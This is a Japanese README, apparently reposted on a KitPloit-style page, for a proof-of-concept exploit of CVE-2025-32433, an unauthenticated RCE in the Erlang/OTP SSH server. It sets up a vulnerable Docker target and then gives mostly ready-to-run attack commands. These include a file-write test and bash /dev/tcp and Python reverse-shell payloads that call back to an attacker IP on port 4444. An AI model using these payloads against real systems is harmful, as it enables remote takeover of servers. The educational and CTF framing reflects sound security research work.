CVE-2025-32433: Erlang/OTP SSH 未認証RCE PoC

このリポジトリには、Erlang/Open Telecom Platform (OTP) のSSHサーバー実装に影響を与える重大な未認証リモートコード実行 (RCE) 脆弱性である CVE-2025-32433 の概念実証 (PoC) が含まれています。このPoCは、教育目的、セキュリティ研究、Capture The Flag (CTF) チャレンジ用に設計されています。

⚠️ 免責事項 - 教育および倫理的な使用のみ ⚠️

このPoCは、教育および倫理的なハッキング目的のためにのみ提供されます。隔離された仮想マシンやCTFプラットフォームなど、セキュリティテストを実行する明示的な許可がある管理された環境での使用を意図しています。

使用禁止: 所有していない、またはテストする明示的な書面による許可を得ていないシステムに対して、このPoCを使用しないでください。コンピュータシステムへの不正アクセスまたは悪用は違法かつ非倫理的です。このリポジトリの作者およびメンテナーは、このコードによって引き起こされた誤用または損害について一切責任を負いません。

📊 脆弱性の概要

技術的詳細

この脆弱性は、Erlang/OTP SSH サーバーが事前認証フェーズ中に SSH プロトコルメッセージを処理する方法に存在します。具体的には、サーバーが SSH プロトコルのシーケンスを適切に強制しないため、リモートの未認証攻撃者が細工された SSH_MSG_CHANNEL_OPEN および SSH_MSG_CHANNEL_REQUEST メッセージを送信できます。これにより、攻撃者はセッションチャネルを開き、有効な認証情報を提供することなく任意の Erlang コマンド（さらにシステムコマンドを実行できる）を実行できます。SSH デーモンが昇格した権限（例: root）で実行されている場合、悪用に成功するとシステム全体が侵害される可能性があります。

🛠️ セットアップ: 脆弱な環境の構築 (Docker)

脆弱な Erlang/OTP SSH サーバーをセットアップする最も簡単な方法は、提供されている Dockerfile を使用することです。

1. このリポジトリをクローンします:

   root@kitploit:~

   git clone https://github.com/NiteeshPujari/CVE-2025-32433-PoC.git
   cd CVE-2025-32433-PoC
   

2. Docker イメージをビルドします: このコマンドは、脆弱なバージョンの Erlang/OTP (OTP-26.2.5.10) をコンパイルし、SSH サーバーを構成します。

   root@kitploit:~

   docker build -t erlang-ssh-vulnerable .
   

3. 脆弱なサーバーコンテナを実行します: これにより、Erlang/OTP SSH サーバーがバックグラウンドで起動し、ポート 2222 で待ち受けます。

   root@kitploit:~

   docker run -d --name erlang-ssh-target -p 2222:2222 erlang-ssh-vulnerable
   

   • -d: コンテナをデタッチドモードで実行します。
   • --name erlang-ssh-target: 管理を容易にするためにコンテナに名前を割り当てます。
   • -p 2222:2222: ホストのポート 2222 をコンテナのポート 2222 にマッピングします。

4. コンテナが実行されていることを確認します:

   root@kitploit:~

   docker ps
   

🚀 使用方法: PoC スクリプトの実行

cve_2025_32433_exploit.py スクリプトは、対話形式またはコマンドライン引数を使用して実行できます。

対話モード

1. 脆弱な Docker コンテナが実行されていることを確認します。
2. Python PoC スクリプトを実行します:
   root@kitploit:~

   python3 cve_2025_32433_exploit.py
   

3. 対話形式のプロンプトに従います: スクリプトは以下を要求します:
   • ターゲット IP アドレス: (例: 同じホスト上の Docker をターゲットにする場合は 127.0.0.1)。
   • ターゲットポート: (例: 2222)。
   • 実行するコマンド: (デフォルトのテストコマンドを使用する場合は空白のまま)。

例1: ファイル作成による RCE のテスト

これは、対話モードでコマンドプロンプトを空白のままにした場合のデフォルトの動作です。ターゲット上に /tmp/note.txt ファイルを作成します。

1. エクスプロイトを実行します:
   root@kitploit:~

   python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'file:write_file("/tmp/note.txt", "Exploit Ran!").'
   

2. ターゲット上でファイルが作成されたことを確認します:
   root@kitploit:~

   docker exec -it erlang-ssh-target cat /tmp/note.txt
   

   出力として Exploit Ran! が表示されるはずです。

例2: リバースシェルの取得

リバースシェルを取得するには、自分のマシン上のリスナーに接続し直すペイロードを指定する必要があります。

1. 攻撃マシン (例: Kali Linux) の選択したポートで Netcat リスナーを起動します。

   root@kitploit:~

   nc -lvnp 4444
   

   重要: 攻撃マシンのファイアウォール (例: ufw) がこのポートへの受信接続を許可していることを確認してください。 sudo ufw allow 4444/tcp

2. PoC スクリプトをリバースシェルペイロード付きで実行します。 YOUR_ATTACKER_IP を自分のマシンの IP アドレスに置き換えてください。

   • Bash リバースシェル:

     root@kitploit:~

     python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("bash -i >& /dev/tcp/YOUR_ATTACKER_IP/4444 0>&1").'
     

   • Python リバースシェル (多くの場合、より信頼性が高い):

     root@kitploit:~

     python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("python3 -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_ATTACKER_IP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);''").'
     

3. Netcat リスナーを確認します。接続を受け取り、ターゲットコンテナ上でシェルを取得できるはずです。

🧹 クリーンアップ

Docker コンテナとイメージを停止して削除するには:

# Stop and remove the container
docker stop erlang-ssh-target
docker rm erlang-ssh-target

# Optional: remove the image as well
docker rmi erlang-ssh-vulnerable